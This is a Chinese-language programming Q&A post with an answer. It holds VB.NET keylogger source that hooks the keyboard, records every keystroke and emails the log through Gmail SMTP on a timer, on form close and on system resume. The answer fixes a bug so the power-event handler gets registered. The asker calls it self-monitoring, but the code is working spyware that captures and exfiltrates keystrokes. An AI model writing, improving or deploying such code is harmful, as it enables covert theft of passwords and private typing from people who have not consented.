尝试添加到字符串并在电源模式更改事件上发送电子邮件



我有一个键盘记录程序来监控我的网络,以确保没有人弄乱我的信息。我一直在尝试编程一项功能,该功能将添加到正在进行的日志中"系统暂停或恢复",并通过电子邮件发送日志 powermode.suspend 或 powermode.resume。我已经能够通过电子邮件发送日志,只是由于某种原因不在电源模式事件中。实际上,似乎我的程序没有在我的电源模式部分中执行任何命令,它甚至不会将"系统睡眠"或"系统唤醒"行附加到日志中。这是我到目前为止的代码。任何人都可以帮助指出某种方向或解释正在发生的事情或我如何解决它吗?

我已经尝试在系统挂起部分放置发送电子邮件命令,但它给了我一个错误,说一旦系统恢复,它就无法发送。我有电子邮件日志发送任何其他时间很好。

Imports System.Net.Mail
Imports Microsoft.Win32
Public Class Form1
Dim WithEvents K As New Keyboard
Dim Append As String
Public Shared log As String
Public Sub Handler()
    AddHandler SystemEvents.PowerModeChanged, _
        AddressOf SystemEvents_PowerModeChanged
End Sub
Private Sub SystemEvents_PowerModeChanged(ByVal sender As Object, ByVal e As PowerModeChangedEventArgs)
    Select Case e.Mode
        Case PowerModes.Resume
            log = log + " <System Wake-Up> "
            SendMail()
            K.DiposeHook()
            K.CreateHook()
            log = ""
        Case PowerModes.Suspend
            log = log + " <System Sleep> "
    End Select
End Sub
Sub SendMail()
    Dim Mail As New MailMessage
    Mail.Subject = "Keylog"
    Mail.To.Add("***********")
    Mail.From = New MailAddress("***********")
    Mail.Body = log
    Dim SMTP As New SmtpClient("smpt.gmail.com")
    SMTP.Host = "smtp.gmail.com"
    SMTP.EnableSsl = True
    SMTP.Credentials = New System.Net.NetworkCredential("*********", "***********")
    SMTP.Port = "587"
    SMTP.Send(Mail)
End Sub
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
    SendMail()
    K.DiposeHook()
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
    K.CreateHook()
End Sub
Private Sub K_Down(ByVal Key As String) Handles K.Down
    Append &= Key
    log &= Key
End Sub
Private Sub tmremail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmremail.Tick
    tmremail.Stop()
    SendMail()
    log = ""
    tmremail.Enabled = True
End Sub
End Class

编辑*

    Public Sub Handler()
    AddHandler SystemEvents.PowerModeChanged, _
        AddressOf SystemEvents_PowerModeChanged
End Sub
Public Sub New()
    Me.InitializeComponent()
    Me.Handler() '<- Invoke
End Sub
Private Sub SystemEvents_PowerModeChanged(ByVal sender As Object, ByVal e As PowerModeChangedEventArgs)
    Select Case e.Mode
        Case PowerModes.Resume
            log = log + " <System Wake-Up> "
            SendMail()
            K.DiposeHook()
            K.CreateHook()
            log = ""
        Case PowerModes.Suspend
            log = log + " <System Sleep> "
    End Select
End Sub

代码中没有调用Handler(),因此没有添加事件。在构造中调用该方法,如下所示:

Public Sub New()
    Me.InitializeComponent()
    Me.Handler() '<- Invoke
End Sub

相关内容

  • 没有找到相关文章

最新更新